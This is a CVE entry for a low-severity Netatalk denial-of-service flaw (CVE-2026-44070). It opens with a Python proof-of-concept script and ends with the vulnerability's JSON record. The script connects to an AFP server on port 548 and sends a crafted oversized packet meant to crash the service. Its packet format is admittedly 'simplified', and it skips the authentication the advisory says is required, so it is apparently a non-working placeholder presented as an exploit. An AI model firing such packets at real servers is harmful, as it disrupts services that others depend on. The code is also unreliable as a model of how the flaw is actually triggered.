CVE-2026-44070

import socket # PoC for CVE-2026-44070: Netatalk Memory Reallocation DoS # Target: Netatalk 2.0.0 - 4.4.2 # Description: Sends crafted character conversion requests to trigger unbounded memory reallocation. target_ip = "TARGET_IP" target_port = 548 # Default AFP port try: # Establish TCP connection to the AFP service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # Construct a malicious AFP request header # AFP command byte (e.g., FPLogin or specific conversion function) followed by crafted payload # This payload simulates the crafted character conversion request header = b'\x00' + b'\x04' # Example header bytes (simplified) # Crafted payload designed to trigger the memory reallocation issue # Sending a large or malformed string intended for charset conversion malicious_payload = b'A' * 10000 + b'\x00' full_packet = header + malicious_payload # Send the malicious packet s.send(full_packet) print("[+] Malicious packet sent. Check if service crashes.") # Receive response (if any) response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close()

{"cve": {"id": "CVE-2026-44070", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:22.693", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unbounded memory reallocation in the charset conversion code in Netatalk 2.0.0 through 4.4.2 allows a remote authenticated attacker to cause a minor denial of service via crafted character conversion requests."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44070", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}